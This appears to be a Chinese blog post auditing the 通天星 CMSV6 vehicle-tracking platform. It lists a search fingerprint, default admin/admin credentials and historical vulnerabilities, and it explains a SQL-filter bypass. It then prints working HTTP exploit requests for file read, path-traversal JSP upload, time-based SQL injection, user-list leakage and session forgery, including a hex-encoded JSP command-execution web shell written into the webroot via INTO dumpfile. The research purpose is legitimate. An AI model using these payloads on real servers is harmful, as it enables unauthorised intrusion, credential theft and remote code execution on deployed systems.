通天星CMSV6代码审计

fofa指纹

body="./open/webApi.html"||body="/808gps/"

/gpsweb/WEB-INF/classes/config/version.conf中可以查看版本。

框架分析

默认安装目录为C:\Program Files\CMSServerV6\

默认账户:admin/admin

框架结构

跟进web.xml,可以看到用了Spring框架。spring-mvc.xml中定义了要扫描的base-package包括com.gps808,com.framework,com.gener,com.ttx,com.upgradeService。

    <servlet>
        <servlet-name>spring</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>classpath:/spring-mvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>spring</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

所有以.action和.html结尾的路由都由Struts2处理

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>*.action</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
        <dispatcher>INCLUDE</dispatcher>
    </filter-mapping>

跟进struts.xml

<constant name="struts.action.excludePattern" value="/ws/.*,ws://.*,/druid/.*"/>

<!-- =========web请求通用配置========== -->
<action name="**/*_*.action" class="{2}" method="{3}">

<!-- =========API请求通用配置========== -->
<action name="*_*.action" class="{1}" method="{2}">

其中API请求配置位于struts-api-action.xml,配置了每个API Action的访问路径(基本都包含StandardApiAction)。

前缀问题

有意思的是,网上涉及到struts2路由的poc中都带了/808gps/这个路由前缀,但是在审计过程中这个package名并不是必须的。仔细看struts.xml中的web请求通用配置,如下

<action name="**/*_*.action" class="{2}" method="{3}">

** 可以匹配任意数量的路径段,/808gps可以匹配,/aa/bb也可以匹配。并不影响后面class和method的调用。所以这个前缀可以有,也可以没有,甚至可以是任何东西。

class访问

Struts2和Spring框架结合的特点是

1. 如果Action类在Struts2的struts.xml中定义,可以直接通过name属性来调用。例如通天星struts.xml中定义的downloadLogger.action

<action name="downloadLogger.action" class="com.gps808.loggerManagement.action.DownloadLoggerAction">
    <result name="success" type="stream">
        <param name="contentType">application/octet-stream</param>
        <param name="inputName">inputStream</param>                              
        <param name="contentDisposition">attachment;filename="${fileName}"</param>
        <param name="bufferSize">4096</param>
    </result>
</action>

2. 如果Action类在Spring的配置文件中定义为Bean,可以通过Bean的名字调用。例如applicationContext-gps808-api.xml文件中的StandardApiAction

<bean name="StandardApiAction" class="com.gps808.api.action.StandardApiAction" scope="prototype" parent="standardUserBaseAction">
    <property name="videoTrackService" ref="videoTrackService" />
    <property name="standardVehicleMediaService" ref="standardVehicleMediaService" />
</bean>

3. 如果既没有在struts.xml中定义,又没有在Spring配置文件中定义为Bean,那么想要访问相应的Action类需要使用全限定类名,否则无法找到对应的class。例如com.framework.web.action.FileUploadAction

<action name="**/*_*.action" class="{2}" method="{3}">

 session

Ps:如果响应result:2的话,则是表示该路由需要登录后才能访问

sessionFilter.xml中定义了诸多无需session的Action,如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xml>
<model>
	<value>com.framework.web.action.FileUploadAction</value>
	<value>com.framework.web.action.RandomPictureAction</value>
	<value>com.framework.web.action.FileDownLoadAction</value>
	<value>com.gps808.operationManagement.action.StandardLoginAction</value>
	<value>com.gps808.plugin.schoolBus.action.StandardWechatAction</value>
	<value>com.gps808.api.action.StandardApiAction</value>
	<value>com.gps808.api.action.RestfulAction</value>
	<value>com.gps808.api.action.AccountAction</value>
	<value>com.gps808.api.action.LoginAction</value>
	<value>com.gps808.api.action.MobileAction</value>
	<value>com.gps808.api.action.LoginApiAction</value>
	<value>com.gps808.api.action.AlarmAction</value>
	<value>com.gps808.api.action.CompanyAction</value>
	<value>com.gps808.api.action.RoleAction</value>
	<value>com.gps808.api.action.DevFlowAction</value>
	<value>com.gps808.api.action.DeviceAction</value>
	<value>com.gps808.api.action.DispatchGroupAction</value>
	<value>com.gps808.api.action.LineAction</value>
	<value>com.gps808.api.action.MapMarkerAction</value>
	<value>com.gps808.api.action.PictureAction</value>
	<value>com.gps808.api.action.StandardApiServerAction</value>
	<value>com.gps808.api.action.StandardRuleMaintainAction</value>
	<value>com.gps808.api.action.SuperVisionAction</value>
	<value>com.gps808.api.action.TtsAction</value>
	<value>com.gps808.api.action.UserInspecAction</value>
	<value>com.gps808.api.action.UserSessionAction</value>
	<value>com.gps808.api.action.VehiAction</value>
	<value>com.gps808.api.action.VehicleMediaAction</value>
	<value>com.gps808.api.action.VideoAction</value>
	<value>com.gps808.api.action.PhoneOrderAction</value>
	<value>com.gps808.api.action.TaxiBigScreenAnalysisAction</value>
	<value>com.gps808.api.action.UploadAction</value>
	<value>com.gps808.api.action.SupervisionBoardAnalysisAction</value>
	<value>com.gps808.api.action.WisdomMuckBoardAnalysisAction</value>
	<!--车辆与司机操作信息 -->
	<value>com.gps808.api.action.VehicleDriverAction</value>
	<value>com.gps808.api.action.WebuploaderApiAction</value>
	<value>com.gps808.api.action.DriverAction</value>
	<value>com.gps808.api.action.SchoolBusApiAction</value>

	<value>com.gps808.api.action.VehiDataAnalysisAction</value>
	<value>com.gps808.api.action.VehiOilAction</value>

	<value>com.gps808.api.action.SimCardAction</value>
	<value>com.gps808.api.action.PeopleAction</value>
	<!--微信模块 -->
	<value>com.gps808.wechat.module.wechat.WechatController</value>
	<value>com.gps808.api.action.WxpayAction</value>
	<value>com.gps808.api.action.DevOfflineUpgradeAction</value>

	<value>com.gps808.vdo.action.Vdo</value>
	<value>com.gps808.vdo.action.VdoE</value>
	<value>com.gps808.vdo.action.Status</value>
	<value>com.gz.system.action.GzBkLoginAction</value>
	<value>com.gps808.plugin.eleCirManagement.action.StandardOpenAction</value>
	<value>com.gps808.track.action.StandardTrackAction</value>
	<value>com.gps808.loggerManagement.action.SelectDevAction</value>
	<value>com.gps808.loggerManagement.action.MultiFileDownloadAction</value>
	<value>com.gps808.loggerManagement.action.DownloadLoggerAction</value>
	<value>com.gps808.operationManagement.action.StandardHttpSendAction</value>
<!--	<value>com.gps808.report.action.StandardReportAlarmSuBiao</value>-->
	<value>com.gps808.operationManagement.action.StandardDriverAction</value>
	<value>com.gps808.monitor.action.StandardTTSAction</value>
	<value>com.gps808.operationManagement.action.StandardBannerManagementAction</value>
	<value>com.gps808.report.action.StandardReportMediaAction</value>
	<value>com.gps808.report.action.StandardIndexManageAction</value>
	<value>com.gps808.operationManagement.action.WebuploaderAction</value>

	<!--H5/App报表-->
	<value>com.gps808.h5.action.StandardH5Action</value>
	<value>com.gps808.h5.action.StandardOilAction</value>
	<value>com.gps808.h5.action.StandardClockAction</value>
	<value>com.gps808.h5.action.StandardMileageAction</value>

</model>

查找sessionFilter.xml在何处被引用,定位到SessionIterceptor。它在struts.xml中配置如下

<interceptor name="sessionOut" class="com.gpsCommon.filter.SessionIterceptor"/>

代码如下

首先要跳过如下if的判断,才能进入到else调用方法的逻辑中。

if ((SessionParamFilter.getSessionUserId() != null || SessionParamFilter.getPoliceId() != null || SessionParamFilter.getSessionDriverId() != null) && !this.handleMethodAuth(SessionParamFilter.getSessionId(), action.getClass(), method))

这几个或关系的getxxId的逻辑非常相似

都是通过获取jsessionId相关参数或头部参数来赋值,如果无法从相应的Attribute中获取到值就返回null。

handleMethodAuth,获取方法上的@CheckPermission标签,如果没有获取到,就获取类上的@CheckPermission标签。

else中对于是否直接调用方法的判断逻辑如下。1. struts.xml配置的name包含.html 2. @NotLogin标签 3. isAllowContinue允许的Action。4. method包含excel

针对于条件3中的判断action是否是allow的,如果是的话,直接反射调用方法。而相应的lstAction这个allow列表是从sessionFilter.xml中读取的这些Action类。

else if (this.isAllowContinue(action.getClass().getName()) && !name.contains("_keepSessionLive")) {
    return invocation.invoke();
} 


private boolean isAllowContinue(String actionName) {
    return !AssertUtils.isNull(actionName) && lstAction != null ? lstAction.contains(actionName) : false;
}

p6spy组件 

p6spy是一个开源项目,可以截取和记录数据库数据,而无需对现有应用程序进行代码更改。想要使用p6spy,在引入该项目后,需要配置spy.properties。通天星配置如下

  • driverlist:指定要监控的数据库驱动(如MySQL)。
  • dateformatdatabaseDialectDateFormat:定义日志输出中日期时间的格式。
  • appender:指定日志记录的方式(这里使用的是SLF4J)。
  • logMessageFormat:定义日志格式化方式,指定了一个自定义的格式化器类。

slf4j仅仅是一个为Java程序提供日志输出的统一接口,需要配合其他日志实现方案使用,如log4j2。通天星log4j2配置如下。INFO级别的日志信息会输出到log_info.log文件中。

log_info.log的绝对路径为C:\Program Files\CMSServerV6\tomcat\logs\log_info.log

p6spy既然回监控数据库操作,那么查看通天星Hibernate相关配置,例如standardusersession.hbm.xml。对应的表是user_session表

sql过滤

gpsCommon的Filter中有个名为SqlFilter的类。对sql的一些关键字进行过滤,如果匹配到就会报错。

但是它对上述四个路由不进行过滤,这也导致了StandardApiAction_vehicleTTS的sql注入漏洞可以用select等字眼。

首先,架构分析中提到sqlFilter是用str.contains(badStrs[i])来匹配黑名单的,而Java 的String.contains()方法是大小写敏感的,它不会将SELECT和黑名单的select匹配。所以sqlFilter在实现的时候先执行了一步str = str.toLowerCase();将所有传入的字符转为小写字符,避免大写绕过。

另外需要注意,这里获取路径用的是req.getRequestURI,会包含特殊字符。假如路径中为/;/index,那么req.getRequestURI获取得到的结果依旧是/;/index,而tomcat在解析时会把分号后面的内容截断。这样就可以在存在sql漏洞点的路由后加入;downloadLogger.action字眼,绕过检测。

历史漏洞

通天星官方有个历史漏洞列表:http://faq.cmsv8.com/helpcenter.html?page_id=1249

官方列出的历史漏洞。大部分漏洞在7.33.0.7已经修复。

漏洞名称漏洞详情严重等级受影响的版本
远程代码执行漏洞web.body=”/808gps/js/public.js”高危<= V7.33.0.2
用户密码重置漏洞通过构造漏洞利用数据包,可重置任意用户的账号密码高危<= V7.33.0.2
任意文件删除漏洞通过构造漏洞利用数据包,可实现任意文件删除高危<= V7.33.0.2
SQL注入漏洞/run_stop/delete.do;downloadLogger.action高危< V7.33.0.1
用户SESSION伪造漏洞com\gps808\api\action\UserSessionAction.class高危<= V7.33.0.3
命令执行漏洞全局登陆校验拦截器,只有满⾜⼀些条件的请求路由才允许未授权访问,通过访问恶意篡改的文件可以过掉该拦截器高危<= V7.33.0.3
/inspect_file/upload 文件上传漏洞/inspect_file/upload高危<= V7.33
任意文件上传WebuploaderAction_ajaxAttachFileUpload.action高危<= V7.33
SQL注入漏洞getAlarmAppealByGuid;downloadLogger.action中危< V7.33.0.6
/point_manage/merge sql注入漏洞/point_manage/merge高危< V7.33.0.6
逻辑缺陷漏洞com.gps808.api.action.AccountAction接口没有验证jsession中危<= V7.33.0.7
逻辑缺陷漏洞808gps/StandardLoginAction_loginHelpCenter.action中危<= V7.33.0.7

网上已披露的其他漏洞

漏洞名称路由
StandardReportMediaAction_getImage 文件读取漏洞/808gps/StandardReportMediaAction_getImage.action
MobileAction_downLoad.action 文件读取漏洞/808gps/MobileAction_downLoad.action
StandardApiAction_vehicleTTS.action sql注入漏洞/StandardApiAction_vehicleTTS.action
StandardLoginAction_getAllUser.action 信息泄漏漏洞/808gps/StandardLoginAction_getAllUser.action

FileUploadAction_upload 文件上传 + jasper反序列化漏洞

StandardLineAction的report方法

跟进createReport,会调用getJasperReportFromFile,也就是读取xx.jasper文件的内容,然后从该文件中loadObject

loadObject实际就是原生反序列化的代码。

那么只要有一个可控的jasper文件,就可以造成RCE。接着就要找一个上传点。例如FileUploadAction。它是sessionFilter中定义的类,也就是无需session

反序列化在利用时需要注意,lib中符合攻击条件的jar包是commons-beanutils-1.8.0.jar,虽然cb链条很常见,但是网上默认的payload都是用1.9生成的,打1.8会出现问题。需要用cb1.8来攻击。

复现如下

先上传jasper文件

再触发反序列化

CommonBaseAction_downLoad 任意文件下载漏洞

定位/gpsweb/WEB-INF/classes/gpsweb.jar!/com/gpsCommon/action/CommonBaseAction.class。获取filePath,首先经过一个黑名单判断,filePath不能包含tomcat/、tomcat/ttxapps、.xml、WEB-INF、classes。如果不在黑名单中就读取相应的文件

filePath是通过path参数传参的。

需要注意,该抽象类有诸多实现类

POC如下

/808gps/StandardLoginAction_downLoad.action?path=../../../../webapps/../logs/log_info.log&isTure=0

读取log_info日志中的user_session用于登录。

如果显示file not found,尝试更改../数量

MobileAction_downLoad.action 文件下载漏洞

网上的MobileAction文件下载漏洞,poc如下。作为CommonBaseAction的实现类之一,虽然重写了download方法但是与CommonBaseAction逻辑很相似。

GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55
Connection: close
Accept: */*
Accept-Encoding: gzip

只不过代码中做了..和.的替换,所以无法跨目录

 inspect_file 文件上传

漏洞定位InspectFileUploadController

fileName直接从文件名中获取并拼接。没有进行过滤,可以..跨目录

POC如下

POST /inspect_file/upload HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*
Content-Type: multipart/form-data;boundary=-----------------------------7db372eb000e2
 
-----------------------------7db372eb000e2
Content-Disposition: form-data; name="uploadFile"; filename="1.jsp"
Content-Type: application/octet-stream
 
<% out.println("hello,test");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
-----------------------------7db372eb000e2--

StandardReportMediaAction_getImage 文件读取

POC如下

GET /808gps/StandardReportMediaAction_getImage.action?filePath=C://Windows//win.ini&fileOffset=1&fileSize=100 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
Accept-Encoding: gzip
Connection: close

 /point_manage/merge sql注入

漏洞定位PointManageController类的merge方法,最终调用的方法如下

sql语句拼接的样式大致为

select ... from xj_point_manage a where a.name= 'xx' and a.id != 'xx'

这个漏洞的关键在于,是怎么绕过sql检查的。

POST /point_manage/merge HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.2882.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
 
id=1&name=1' UNION SELECT%0aNULL, 0x3c25206a6176612e696f2e496e70757453747265616d20696e203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e742061203d202d313b627974655b5d2062203d206e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b6e6577206a6176612e696f2e46696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929292e64656c65746528293b253e,NULL,NULL,NULL,NULL,NULL,NULL
INTO dumpfile '../../tomcat/webapps/gpsweb/rce.jsp' FROM user_session a
WHERE '1 '='1 &type=3&map_id=4&install_place=5&check_item=6&create_time=7&update_time=8

黑名单是按照|来拆分的,拆分之后select后面是包含了一个空格的,那么如果我们的语句中select后面没有空格也无法匹配。所以poc中用%0a让空格无法匹配。

disable sql注入

跟进disable方法

存在明显的sql注入问题。但是框架分析中提到系统中是存在sqlFilter过滤器的。在Tomcat中,url中的分号;用于分割路径参数。这里选取downloadLogger.action来绕过校验,它是四个不受过滤的url之一。

GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

/run_stop/delete sql注入

漏洞定位StandardDemoRunStopController

跟进deleteRunStopBatch,明显存在sql注入

sql绕过方式downloadLogger.action分析同上。

GET /run_stop/delete;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 0

另外,在官方出的历史漏洞中,getAlarmAppealByGuid;downloadLogger.action这个sql漏洞也是同理,都是用downloadLogger.action后缀绕过检测

StandardApiAction_vehicleTTS sql注入

GET /StandardApiAction_vehicleTTS.action?DevIDNO=5'and(select*from(select+sleep(5))a/**/union/**/select+1)='&Flag=4&Text=qwe HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

StandardLoginAction_getAllUser 信息泄漏

POST /808gps/StandardLoginAction_getAllUser.action HTTP/1.1
Host: ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 
json=null

可以读取账户列表

UserSessionAction 用户SESSION伪造漏洞

整体的代码逻辑很清晰,获取userSession和id参数,如果这两个值不为空,根据session值,执行sql语句"from StandardUserSession where session = :session"。这里的StandardUserSession对应的就是user_session表。

如果没有查到对应的session值,就调用saveThirdSession,根据传入的session和id值,向user_session中插入一条数据。这样就可以伪造某个用户的seesion

String sql = "INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(:UserID, :Session, :ClientIP,:ClientType, :Status, :LoginTime)";

log_info.log文件中会出现如下的一条日志

2024-08-16 09:54:48 [http-nio-8080-exec-10][com.p6spy.engine.spy.appender.Slf4JLogger.logSQL(Slf4JLogger.java:60)] INFO:SQL | 5 | 2024-08-16 09:54:48 | 3 | statement | INSERT INTO user_session (UserID, Session, ClientIP,ClientType, Status, LoginTime) values(4, '42AA7A2BE767123A42E1530ACC920781', 8080,5, 0, '2024-08-16 09:54:48')

POC如下

POST /808gps/LocationManagement/UserSessionAction_saveUserSession.action HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-Ip: 127.0.0.1
X-Remote-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
Te: trailers
Connection: close

userSession=42AA7A2BE767123A42E1530ACC920781&id=4

  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值